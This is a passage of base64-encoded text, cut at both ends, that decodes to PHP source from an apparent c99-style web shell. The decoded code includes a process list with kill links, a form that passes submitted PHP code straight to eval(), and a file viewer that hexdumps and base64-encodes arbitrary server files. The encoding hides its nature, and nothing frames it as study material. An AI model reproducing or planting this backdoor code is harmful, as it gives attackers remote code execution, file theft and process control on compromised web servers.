PVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nIi4kZHNwYWN0LiInO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUoJGQpLiInO2RvY3VtZW50LnRvZG8ucHJvY2Vzc2VzX3NvcnQudmFsdWU9JyIuJGsuImRcIic7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj4hPC9hPiI7fQ0KICAkcmV0ID0gaHRtbHNwZWNpYWxjaGFycygkcmV0KTsNCiAgaWYgKCEkd2luKQ0KICB7DQogICBpZiAoJHBpZCkNCiAgIHsNCiAgICBpZiAoaXNfbnVsbCgkc2lnKSkgeyRzaWcgPSA5O30NCiAgICBlY2hvICJTZW5kaW5nIHNpZ25hbCAiLiRzaWcuIiB0byAjIi4kcGlkLiIuLi4gIjsNCiAgICBpZiAocG9zaXhfa2lsbCgkcGlkLCRzaWcpKSB7ZWNobyAiT0suIjt9DQogICAgZWxzZSB7ZWNobyAiRVJST1IuIjt9DQogICB9DQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIiAiLCRyZXQpO30NCiAgICRzdGFjayA9IGV4cGxvZGUoIlxuIiwkcmV0KTsNCiAgICRoZWFkID0gZXhwbG9kZSgiICIsJHN0YWNrWzBdKTsNCiAgIHVuc2V0KCRzdGFja1swXSk7DQogICBmb3IoJGk9MDskaTxjb3VudCgkaGVhZCk7JGkrKykNCiAgIHsNCiAgICBpZiAoJGkgIT0gJGspIHskaGVhZFskaV0gPSAiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9JyIuJGRzcGFjdC4iJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKCRkKS4iJztkb2N1bWVudC50b2RvLnByb2Nlc3Nlc19zb3J0LnZhbHVlPSciLiRpLiRwYXJzZXNvcnRbMV0uIic7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj48Yj4iLiRoZWFkWyRpXS4iPC9iPjwvYT4iO30NCiAgIH0NCiAgICRwcmNzID0gYXJyYXkoKTsNCiAgIGZvcmVhY2ggKCRzdGFjayBhcyAkbGluZSkNCiAgIHsNCiAgICBpZiAoIWVtcHR5KCRsaW5lKSkNCiAgICAgICAgew0KICAgICAgICAgZWNobyAiPHRyPiI7DQogICAgICRsaW5lID0gZXhwbG9kZSgiICIsJGxpbmUpOw0KICAgICAkbGluZVsxMF0gPSBqb2luKCIgIixhcnJheV9zbGljZSgkbGluZSwxMCkpOw0KICAgICAkbGluZSA9IGFycmF5X3NsaWNlKCRsaW5lLDAsMTEpOw0KICAgICBpZiAoJGxpbmVbMF0gPT0gZ2V0X2N1cnJlbnRfdXNlcigpKSB7JGxpbmVbMF0gPSAiPGZvbnQgY29sb3I9Z3JlZW4+Ii4kbGluZVswXS4iPC9mb250PiI7fQ0KICAgICAkbGluZVtdID0gIjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdwcm9jZXNzZXMnO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUoJGQpLiInO2RvY3VtZW50LnRvZG8ucGlkLnZhbHVlPSciLiRsaW5lWzFdLiInO2RvY3VtZW50LnRvZG8uc2lnLnZhbHVlPSc5Jztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPjx1PktJTEw8L3U+PC9hPiI7DQogICAgICRwcmNzW10gPSAkbGluZTsNCiAgICAgZWNobyAiPC90cj4iOw0KICAgIH0NCiAgIH0NCiAgfQ0KICBlbHNlDQogIHsNCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICAgICAgICAiLCRyZXQpO30NCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICAgICAgICAiLCRyZXQpO30NCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICAgICAgICAiLCRyZXQpO30NCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICAgICAgICAiLCRyZXQpO30NCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICAgICAgICAiLCRyZXQpO30NCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICAgICAgICAiLCRyZXQpO30NCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICAgICAgICAiLCRyZXQpO30NCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICAgICAgICAiLCRyZXQpO30NCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICAgICAgICAiLCRyZXQpO30NCiAgIHdoaWxlIChlcmVnKCIgICAgICAgICAgICAgICAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAgICAgICAgICAgICAgICIsIiAgICAgICAgIiwkcmV0KTt9DQogICB3aGlsZSAoZXJlZygiICAgICAgICAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAgICAgICAgIiwiICAgICAgICAiLCRyZXQpO30NCiAgICRyZXQgPSBjb252ZXJ0X2N5cl9zdHJpbmcoJHJldCwiZCIsInciKTsNCiAgICRzdGFjayA9IGV4cGxvZGUoIlxuIiwkcmV0KTsNCiAgIHVuc2V0KCRzdGFja1swXSwkc3RhY2tbMl0pOw0KICAgJHN0YWNrID0gYXJyYXlfdmFsdWVzKCRzdGFjayk7DQogICAkaGVhZCA9IGV4cGxvZGUoIiAgICAgICAgIiwkc3RhY2tbMF0pOw0KICAgJGhlYWRbMV0gPSBleHBsb2RlKCIgIiwkaGVhZFsxXSk7DQogICAkaGVhZFsxXSA9ICRoZWFkWzFdWzBdOw0KICAgJHN0YWNrID0gYXJyYXlfc2xpY2UoJHN0YWNrLDEpOw0KICAgdW5zZXQoJGhlYWRbMl0pOw0KICAgJGhlYWQgPSBhcnJheV92YWx1ZXMoJGhlYWQpOw0KDQogICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHskeSA9ICI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nIi4kZHNwYWN0LiInO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUoJGQpLiInO2RvY3VtZW50LnRvZG8ucHJvY2Vzc2VzX3NvcnQudmFsdWU9JyIuJGsuImFcIic7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj4hPC9hPiI7fQ0KICAgZWxzZSB7JHkgPSAiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9JyIuJGRzcGFjdC4iJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKCRkKS4iJztkb2N1bWVudC50b2RvLnByb2Nlc3Nlc19zb3J0LnZhbHVlPSciLiRrLiJkXCInO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+ITwvYT4iO30NCiAgIGlmICgkayA+IGNvdW50KCRoZWFkKSkgeyRrID0gY291bnQoJGhlYWQpLTE7fQ0KICAgZm9yKCRpPTA7JGk8Y291bnQoJGhlYWQpOyRpKyspDQogICB7DQogICAgaWYgKCRpICE9ICRrKSB7JGhlYWRbJGldID0gIjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSciLiRkc3BhY3QuIic7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSciLnVybGVuY29kZSgkZCkuIic7ZG9jdW1lbnQudG9kby5wcm9jZXNzZXNfc29ydC52YWx1ZT0nIi4kaS4kcGFyc2Vzb3J0WzFdLiJhXCInO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+PGI+Ii50cmltKCRoZWFkWyRpXSkuIjwvYj48L2E+Ijt9DQogICB9DQogICAkcHJjcyA9IGFycmF5KCk7DQogICBmb3JlYWNoICgkc3RhY2sgYXMgJGxpbmUpDQogICB7DQogICAgaWYgKCFlbXB0eSgkbGluZSkpDQogICAgew0KICAgICBlY2hvICI8dHI+IjsNCiAgICAgJGxpbmUgPSBleHBsb2RlKCIgICAgICAgICIsJGxpbmUpOw0KICAgICAkbGluZVsxXSA9IGludHZhbCgkbGluZVsxXSk7ICRsaW5lWzJdID0gJGxpbmVbM107IHVuc2V0KCRsaW5lWzNdKTsNCiAgICAgJGxpbmVbMl0gPSBpbnR2YWwoc3RyX3JlcGxhY2UoIiAiLCIiLCRsaW5lWzJdKSkqMTAyNDsNCiAgICAgJHByY3NbXSA9ICRsaW5lOw0KICAgICBlY2hvICI8L3RyPiI7DQogICAgfQ0KICAgfQ0KICB9DQogICRoZWFkWyRrXSA9ICI8Yj4iLiRoZWFkWyRrXS4iPC9iPiIuJHk7DQogICR2ID0gJHByb2Nlc3Nlc19zb3J0WzBdOw0KICB1c29ydCgkcHJjcywidGFic29ydCIpOw0KICBpZiAoJHByb2Nlc3Nlc19zb3J0WzFdID09ICJkIikgeyRwcmNzID0gYXJyYXlfcmV2ZXJzZSgkcHJjcyk7fQ0KICAkdGFiID0gYXJyYXkoKTsNCiAgJHRhYltdID0gJGhlYWQ7DQogICR0YWIgPSBhcnJheV9tZXJnZSgkdGFiLCRwcmNzKTsNCiAgZWNobyAiPFRBQkxFIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ0NvbG9yPSMwMDMzMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmNvbG9yPVwiI0MwQzBDMFwiPiI7DQogIGZvcmVhY2goJHRhYiBhcyAkaT0+JGspDQogIHsNCiAgIGVjaG8gIjx0cj4iOw0KICAgZm9yZWFjaCgkayBhcyAkaj0+JHYpIHtpZiAoJHdpbiBhbmQgJGkgPiAwIGFuZCAkaiA9PSAyKSB7JHYgPSB2aWV3X3NpemUoJHYpO30gZWNobyAiPHRkPiIuJHYuIjwvdGQ+Ijt9DQogICBlY2hvICI8L3RyPiI7DQogIH0NCiAgZWNobyAiPC90YWJsZT4iOw0KIH0NCn0NCmlmICgkYWN0ID09ICJldmFsIikNCnsNCiBpZiAoIWVtcHR5KCRldmFsKSkNCiB7DQogIGVjaG8gIjxiPlJlc3VsdCBvZiBleGVjdXRpb24gdGhpcyBQSFAtY29kZTwvYj46PGJyPiI7DQogICR0bXAgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgJG9sZGRpciA9IHJlYWxwYXRoKCIuIik7DQogIEBjaGRpcigkZCk7DQogIGlmICgkdG1wKQ0KICB7DQogICBvYl9jbGVhbigpOw0KICAgZXZhbCgkZXZhbCk7DQogICAkcmV0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7DQogICBvYl9jbGVhbigpOw0KICAgZWNobyAkdG1wOw0KICAgaWYgKCRldmFsX3R4dCkNCiAgIHsNCiAgICAkcm93cyA9IGNvdW50KGV4cGxvZGUoIlxyXG4iLCRyZXQpKSsxOw0KICAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDt9DQogICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiIHJlYWRvbmx5PiIuaHRtbHNwZWNpYWxjaGFycygkcmV0KS4iPC90ZXh0YXJlYT4iOw0KICAgfQ0KICAgZWxzZSB7ZWNobyAkcmV0LiI8YnI+Ijt9DQogIH0NCiAgZWxzZQ0KICB7DQogICBpZiAoJGV2YWxfdHh0KQ0KICAgew0KICAgIGVjaG8gIjxicj48dGV4dGFyZWEgY29scz1cIjEyMlwiIHJvd3M9XCIxNVwiIHJlYWRvbmx5PiI7DQogICAgZXZhbCgkZXZhbCk7DQogICAgZWNobyAiPC90ZXh0YXJlYT4iOw0KICAgfQ0KICAgZWxzZSB7ZWNobyAkcmV0O30NCiAgfQ0KICBAY2hkaXIoJG9sZGRpcik7DQogfQ0KIGVsc2Uge2VjaG8gIjxiPkV4ZWN1dGlvbiBQSFAtY29kZTwvYj4iOyBpZiAoZW1wdHkoJGV2YWxfdHh0KSkgeyRldmFsX3R4dCA9IFRSVUU7fX0NCiBlY2hvICI8Zm9ybSBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ZXZhbD48dGV4dGFyZWEgbmFtZT1cImV2YWxcIiBjb2xzPVwiMTIyXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRldmFsKS4iPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIkV4ZWN1dGVcIj4mbmJzcDtEaXNwbGF5IGluIHRleHQtYXJlYSZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZXZhbF90eHRcIiB2YWx1ZT1cIjFcIiI7IGlmICgkZXZhbF90eHQpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PC9mb3JtPiI7DQp9DQppZiAoJGFjdCA9PSAiZiIpDQp7DQogaWYgKCghaXNfcmVhZGFibGUoJGQuJGYpIG9yIGlzX2RpcigkZC4kZikpIGFuZCAkZnQgIT0gImVkaXQiKQ0KIHsNCiAgaWYgKGZpbGVfZXhpc3RzKCRkLiRmKSkge2VjaG8gIjxjZW50ZXI+PGI+UGVybWlzaW9uIGRlbmllZCAoIi5odG1sc3BlY2lhbGNoYXJzKCRkLiRmKS4iKSE8L2I+PC9jZW50ZXI+Ijt9DQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+RmlsZSBkb2VzIG5vdCBleGlzdHMgKCIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIikhPC9iPjxicj48YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nZic7ZG9jdW1lbnQudG9kby5mLnZhbHVlPSciLnVybGVuY29kZSgkZikuIic7ZG9jdW1lbnQudG9kby5mdC52YWx1ZT0nZWRpdCc7ZG9jdW1lbnQudG9kby5jLnZhbHVlPScxJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKCRkKS4iJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPjx1PkNyZWF0ZTwvdT48L2E+PC9jZW50ZXI+Ijt9DQogfQ0KIGVsc2UNCiB7DQogICRyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsNCiAgJGV4dCA9IGV4cGxvZGUoIi4iLCRmKTsNCiAgJGMgPSBjb3VudCgkZXh0KS0xOw0KICAkZXh0ID0gJGV4dFskY107DQogICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOw0KICAkcmZ0ID0gIiI7DQogIGZvcmVhY2goJGZ0eXBlcyBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJGV4dCwkdikpIHskcmZ0ID0gJGs7IGJyZWFrO319DQogIGlmIChlcmVnaSgic2Vzc18oLiopIiwkZikpIHskcmZ0ID0gInBocHNlc3MiO30NCiAgaWYgKGVtcHR5KCRmdCkpIHskZnQgPSAkcmZ0O30NCiAgJGFyciA9IGFycmF5KA0KICAgYXJyYXkoIkRJWiIsImluZm8iKSwNCiAgIGFycmF5KCJIVE1MIiwiaHRtbCIpLA0KICAgYXJyYXkoIlRYVCIsInR4dCIpLA0KICAgYXJyYXkoIkNvZGUiLCJjb2RlIiksDQogICBhcnJheSgiU2Vzc2lvbiIsInBocHNlc3MiKSwNCiAgIGFycmF5KCJFWEUiLCJleGUiKSwNCiAgIGFycmF5KCJTREIiLCJzZGIiKSwNCiAgIGFycmF5KCJJTkkiLCJpbmkiKSwNCiAgIGFycmF5KCJET1dOTE9BRCIsImRvd25sb2FkIiksDQogICBhcnJheSgiUlRGIiwibm90ZXBhZCIpLA0KICAgYXJyYXkoIkVESVQiLCJlZGl0IikNCiAgKTsNCiAgZWNobyAiPGI+Vmlld2luZyBmaWxlOiZuYnNwOyZuYnNwOyZuYnNwOyIuJGYuIiAoIi52aWV3X3NpemUoZmlsZXNpemUoJGQuJGYpKS4iKSAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLnZpZXdfcGVybXNfY29sb3IoJGQuJGYpLiI8L2I+PGJyPlNlbGVjdCBhY3Rpb24vZmlsZS10eXBlOjxicj4iOw0KICBmb3JlYWNoKCRhcnIgYXMgJHQpDQogIHsNCiAgIGlmICgkdFsxXSA9PSAkcmZ0KSB7ZWNobyAiIDxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdmJztkb2N1bWVudC50b2RvLmYudmFsdWU9JyIudXJsZW5jb2RlKCRmKS4iJztkb2N1bWVudC50b2RvLmZ0LnZhbHVlPSciLiR0WzFdLiInO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUoJGQpLiInO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+PGZvbnQgY29sb3I9Z3JlZW4+Ii4kdFswXS4iPC9mb250PjwvYT4iO30NCiAgIGVsc2VpZiAoJHRbMV0gPT0gJGZ0KSB7ZWNobyAiIDxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdmJztkb2N1bWVudC50b2RvLmYudmFsdWU9JyIudXJsZW5jb2RlKCRmKS4iJztkb2N1bWVudC50b2RvLmZ0LnZhbHVlPSciLiR0WzFdLiInO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUoJGQpLiInO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+PGI+PHU+Ii4kdFswXS4iPC91PjwvYj48L2E+Ijt9DQogICBlbHNlIHtlY2hvICIgPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2YnO2RvY3VtZW50LnRvZG8uZi52YWx1ZT0nIi51cmxlbmNvZGUoJGYpLiInO2RvY3VtZW50LnRvZG8uZnQudmFsdWU9JyIuJHRbMV0uIic7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSciLnVybGVuY29kZSgkZCkuIic7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj48Yj4iLiR0WzBdLiI8L2I+PC9hPiI7fQ0KICAgZWNobyAiIHwiOw0KICB9DQogIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgaWYgKCRmdCA9PSAiaW5mbyIpDQogIHsNCiAgIGVjaG8gIjxiPkluZm9ybWF0aW9uOjwvYj48dGFibGUgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPjx0cj48dGQ+PGI+UGF0aDwvYj48L3RkPjx0ZD4gIi4kZC4kZi4iPC90ZD48L3RyPjx0cj48dGQ+PGI+U2l6ZTwvYj48L3RkPjx0ZD4gIi52aWV3X3NpemUoZmlsZXNpemUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+TUQ1PC9iPjwvdGQ+PHRkPiAiLm1kNV9maWxlKCRkLiRmKS4iPC90ZD48L3RyPiI7DQogICBpZiAoISR3aW4pDQogICB7DQogICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsNCiAgICAkb3cgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGQuJGYpKTsNCiAgICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGQuJGYpKTsNCiAgICBlY2hvICgkb3dbIm5hbWUiXT8kb3dbIm5hbWUiXTpmaWxlb3duZXIoJGQuJGYpKS4iLyIuKCRnclsibmFtZSJdPyRnclsibmFtZSJdOmZpbGVncm91cCgkZC4kZikpOw0KICAgfQ0KICAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nY2htb2QnO2RvY3VtZW50LnRvZG8uZi52YWx1ZT0nIi51cmxlbmNvZGUoJGYpLiInO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUoJGQpLiInO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iPC9hPjwvdGQ+PC90cj48dHI+PHRkPjxiPkNyZWF0ZSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlY3RpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+QWNjZXNzIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVhdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NT0RJRlkgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZW10aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOw0KICAgJGZpID0gZm9wZW4oJGQuJGYsInJiIik7DQogICBpZiAoJGZpKQ0KICAgew0KICAgIGlmICgkZnVsbGhleGR1bXApIHtlY2hvICI8Yj5GVUxMIEhFWERVTVA8L2I+IjsgJHN0ciA9IGZyZWFkKCRmaSxmaWxlc2l6ZSgkZC4kZikpO30NCiAgICBlbHNlIHtlY2hvICI8Yj5IRVhEVU1QIFBSRVZJRVc8L2I+IjsgJHN0ciA9IGZyZWFkKCRmaSwkaGV4ZHVtcF9saW5lcyokaGV4ZHVtcF9yb3dzKTt9DQogICAgJG4gPSAwOw0KICAgICRhMCA9ICIwMDAwMDAwMDxicj4iOw0KICAgICRhMSA9ICIiOw0KICAgICRhMiA9ICIiOw0KICAgIGZvciAoJGk9MDsgJGk8c3RybGVuKCRzdHIpOyAkaSsrKQ0KICAgIHsNCiAgICAgJGExIC49IHNwcmludGYoIiUwMlgiLG9yZCgkc3RyWyRpXSkpLiIgIjsNCiAgICAgc3dpdGNoIChvcmQoJHN0clskaV0pKQ0KICAgICB7DQogICAgICBjYXNlIDA6ICAkYTIgLj0gIjxmb250PjA8L2ZvbnQ+IjsgYnJlYWs7DQogICAgICBjYXNlIDMyOg0KICAgICAgY2FzZSAxMDoNCiAgICAgIGNhc2UgMTM6ICRhMiAuPSAiJm5ic3A7IjsgYnJlYWs7DQogICAgICBkZWZhdWx0OiAkYTIgLj0gaHRtbHNwZWNpYWxjaGFycygkc3RyWyRpXSk7DQogICAgIH0NCiAgICAgJG4rKzsNCiAgICAgaWYgKCRuID09ICRoZXhkdW1wX3Jvd3MpDQogICAgIHsNCiAgICAgICRuID0gMDsNCiAgICAgIGlmICgkaSsxIDwgc3RybGVuKCRzdHIpKSB7JGEwIC49IHNwcmludGYoIiUwOFgiLCRpKzEpLiI8YnI+Ijt9DQogICAgICAkYTEgLj0gIjxicj4iOw0KICAgICAgJGEyIC49ICI8YnI+IjsNCiAgICAgfQ0KICAgIH0NCiAgICAvL2lmICgkYTEgIT0gIiIpIHskYTAgLj0gc3ByaW50ZigiJTA4WCIsJGkpLiI8YnI+Ijt9DQogICAgZWNobyAiPHRhYmxlIGJvcmRlcj0wIGJnY29sb3I9IzY2NjY2NiBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTQ+PHRyPjx0ZCBiZ2NvbG9yPSM2NjY2NjY+Ii4kYTAuIjwvdGQ+PHRkIGJnY29sb3I9MDAwMDAwPiIuJGExLiI8L3RkPjx0ZCBiZ2NvbG9yPTAwMDAwMD4iLiRhMi4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7DQogICB9DQogICAkZW5jb2RlZCA9ICIiOw0KICAgaWYgKCRiYXNlNjQgPT0gMSkNCiAgIHsNCiAgICBlY2hvICI8Yj5CYXNlNjQgRW5jb2RlPC9iPjxicj4iOw0KICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpOw0KICAgfQ0KICAgZWxzZWlmKCRiYXNlNjQgPT0gMikNCiAgIHsNCiAgICBlY2hvICI8Yj5CYXNlNjQgRW5jb2RlICsgQ2h1bms8L2I+PGJyPiI7DQogICAgJGVuY29kZWQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKSkpOw0KICAgfQ0KICAgZWxzZWlmKCRiYXNlNjQgPT0gMykNCiAgIHsNCiAgICBlY2hvICI8Yj5CYXNlNjQgRW5jb2RlICsgQ2h1bmsgKyBRdW90ZXM8L2I+PGJyPiI7DQogICAgJGVuY29kZWQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKSk7DQogICAgJGVuY29kZWQgPSBzdWJzdHIocHJlZ19yZXBsYWNlKCIhLnsxLDc2fSEiLCInXFwwJy5cbiIsJGVuY29kZWQpLDAsLTIpOw0KICAgfQ0KICAgZWxzZWlmKCRiYXNlNjQgPT0gNCkNCiAgIHsNCiAgICAkdGV4dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsNCiAgICAkZW5jb2RlZCA9IGJhc2U2NF9kZWNvZGUoJHRleHQpOw0KICAgIGVjaG8gIjxiPkJhc2U2NCBEZWNvZGUiOw0KICAgIGlmIChiYXNlNjRfZW5jb2RlKCRlbmNvZGVkKSAhPSAkdGV4dCkge2VjaG8gIiAoZmFpbGVkKSI7fQ0KICAgIGVjaG8gIjwvYj48YnI+IjsNCiAgIH0NCiAgIGlmICghZW1wdHkoJGVuY29kZWQpKQ0KICAgew0KICAgIGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRlbmNvZGVkKS4iPC90ZXh0YXJlYT48YnI+PGJyPiI7DQogICB9DQogICBlY2hvICI8Yj5IRVhEVU1QOjwvYj48bm9icj4gWzxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdmJztkb2N1bWVudC50b2RvLmYudmFsdWU9JyIudXJsZW5jb2RlKCRmKS4iJztkb2N1bWVudC50b2RvLmZ0LnZhbHVlPSdpbmZvJztkb2N1bWVudC50b2RvLmZ1bGxoZXhkdW1wLnZhbHVlPScxJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKCRkKS4iJztkb2N1bWVudC50b2RvLnN1Ym1pdCgpO1wiPkZ1bGw8L2E+XSBbPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2YnO2RvY3VtZW50LnRvZG8uZi52YWx1ZT0nIi51cmxlbmNvZGUoJGYpLiInO2RvY3VtZW50LnRvZG8uZnQudmFsdWU9J2luZm8nO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUoJGQpLiInO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+UHJldmlldzwvYT5dPGJyPjxiPkJhc2U2NDogPC9iPg0KPG5vYnI+WzxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnRvZG8uYWN0LnZhbHVlPSdmJztkb2N1bWVudC50b2RvLmYudmFsdWU9JyIudXJsZW5jb2RlKCRmKS4iJztkb2N1bWVudC50b2RvLmZ0LnZhbHVlPSdpbmZvJztkb2N1bWVudC50b2RvLmJhc2U2NC52YWx1ZT0nMSc7ZG9jdW1lbnQudG9kby5kLnZhbHVlPSciLnVybGVuY29kZSgkZCkuIic7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj5FbmNvZGU8L2E+XSZuYnNwOzwvbm9icj4NCjxub2JyPls8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0nZic7ZG9jdW1lbnQudG9kby5mLnZhbHVlPSciLnVybGVuY29kZSgkZikuIic7ZG9jdW1lbnQudG9kby5mdC52YWx1ZT0naW5mbyc7ZG9jdW1lbnQudG9kby5iYXNlNjQudmFsdWU9JzInO2RvY3VtZW50LnRvZG8uZC52YWx1ZT0nIi51cmxlbmNvZGUoJGQpLiInO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+K2NodW5rPC9hPl0mbmJzcDs8L25vYnI+DQo8bm9icj5bPGEgaHJlZj1cIiNcIiBvbmNsaWNrP